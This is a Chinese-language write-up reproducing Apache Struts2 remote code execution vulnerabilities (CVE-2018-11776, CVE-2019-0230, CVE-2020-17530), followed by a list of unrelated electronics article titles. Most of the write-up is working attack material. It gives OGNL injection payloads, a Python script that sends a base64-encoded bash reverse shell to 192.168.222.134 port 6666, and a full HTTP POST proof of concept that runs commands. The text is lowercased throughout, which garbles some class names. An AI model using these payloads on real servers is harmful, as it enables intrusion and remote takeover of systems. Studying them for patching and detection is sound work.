Struts2远程代码执行漏洞复现编码

0x00 struts2 简介
struts2 是 apache 软件组织推出的一个相当强大的 java web 开源框架,本质上相当于一个 servlet。struts2 基于 mvc 架构,框架结构清晰。通常作为控制器(controller)来建立模型与视图的数据交互,用于创建企业级 java web 应用程序。该框架多版本存在远程代码执行, 0x01 struts2 (cve-2018-11776) struts2 s2-057 payload:/struts2-showcase/$%7b233*233%7d/actionchain1.action 验证漏洞存在: paylaod:ls:查看目录下文件,paylaod需要进行url编码${(#dm=@ognl.ognlcontext@default_member_access).(#ct=#request['struts.valuestack'].context).(#cr=#ct['com.opensymphony.xwork2.actioncontext.container']).(#ou=#cr.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ou.getexcludedpackagenames().clear()).(#ou.getexcludedclasses().clear()).(#ct.setmemberaccess(#dm)).(#a=@java.lang.runtime@getruntime().exec('id')).(@org.apache.commons.io.ioutils@tostring(#a.getinputstream()))} 0x02 struts2 (cve-2019-0230) struts2 s2-059漏洞验证paylaod:/?id=%25{2*5} 反弹shell:paylaod:使用python3环境,运行前查看环境执行是否正常 反弹paylaod:bash -i >& /dev/tcp/192.168.222.134/6666 0>&1需要base64加密放入下paylaodimport requestsurl = http://192.168.222.134:8080data1 = { id: %{(#context=#attr['struts.valuestack'].context).(#container=#context['com.opensymphony.xwork2.actioncontext.container']).(#ognlutil=#container.getinstance(@com.opensymphony.xwork2.ognl.ognlutil@class)).(#ognlutil.setexcludedclasses('')).(#ognlutil.setexcludedpackagenames(''))}}data2 = { id: %{(#context=#attr['struts.valuestack'].context).(#context.setmemberaccess(@ognl.ognlcontext@default_member_access)).(@java.lang.runtime@getruntime().exec('bash -c {echo,ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljiymi4xmzqvnjy2niawpiyx}|{base64,-d}|{bash,-i}'))}}res1 = requests.post(url, data=data1)res2 = requests.post(url, data=data2)print(123)  执行脚本shell接收成功: 0x03 struts2 (cve-2020-17530) struts2 s2-061 poc:post请求:post / http/1.1host: 192.168.222.134:8080cache-control: max-age=0upgrade-insecure-requests: 1user-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/87.0.4280.88 safari/537.36accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9accept-encoding: gzip, deflateaccept-language: zh-cn,zh;q=0.9cookie: jsessionid=node016yd6hhrzkka19x0sws5e7i9g1.node0if-none-match: w/187-1504645830000if-modified-since: tue, 05 sep 2017 2130 gmtcontent-type: multipart/form-data; boundary=----webkitformboundaryl7d1b1agsv2wczwfconnection: closecontent-length: 829------webkitformboundaryl7d1b1agsv2wczwfcontent-disposition: form-data; name=id%{(#instancemanager=#application[org.apache.tomcat.instancemanager]).(#stack=#attr[com.opensymphony.xwork2.util.valuestack.valuestack]).(#bean=#instancemanager.newinstance(org.apache.commons.collections.beanmap)).(#bean.setbean(#stack)).(#context=#bean.get(context)).(#bean.setbean(#context)).(#macc=#bean.get(memberaccess)).(#bean.setbean(#macc)).(#emptyset=#instancemanager.newinstance(java.util.hashset)).(#bean.put(excludedclasses,#emptyset)).(#bean.put(excludedpackagenames,#emptyset)).(#arglist=#instancemanager.newinstance(java.util.arraylist)).(#arglist.add(id)).(#execute=#instancemanager.newinstance(freemarker.template.utility.execute)).(#execute.exec(#arglist))}------webkitformboundaryl7d1b1agsv2wczwf-- 0x04 strust2 命令执行检测工具 github:https://github.com/hatboy/struts2-scan


物联网的就业前景如何?物联网带来的下一波就业机会
物联网和边缘还有数据中心的未来是怎样的
有效导通关断NMOS管的“窍门”
SoC与单片机应用技术的发展
工业互联网企业座谈会在京召开
Struts2远程代码执行漏洞复现编码
电脑机箱的电磁兼容设计
Maxis与华为合作将在马来西亚引入新的5G行业应用
iphone7什么时候上市 售价时间抢先发布会都知道了
美科学家研发机器人消防员 能理解手势语言
有了这款游泳衣就能像海豚一样在水中畅游
盘点2018年机器人行业十大风云人物
中国移动成为全国最大的“5G+智能电网”应用示范区
基于物联网的家居室内环境在线监控系统研究
新能源汽车车载充电机内部结构分析
单凭一张照片就能把片中人随意摆成任何姿势一键健身就要出现了?
华为荣耀magic盲约创新高
单片机的“性能”到底是什么?
信号和电源隔离的有效设计技术
电力电缆的屏蔽层作用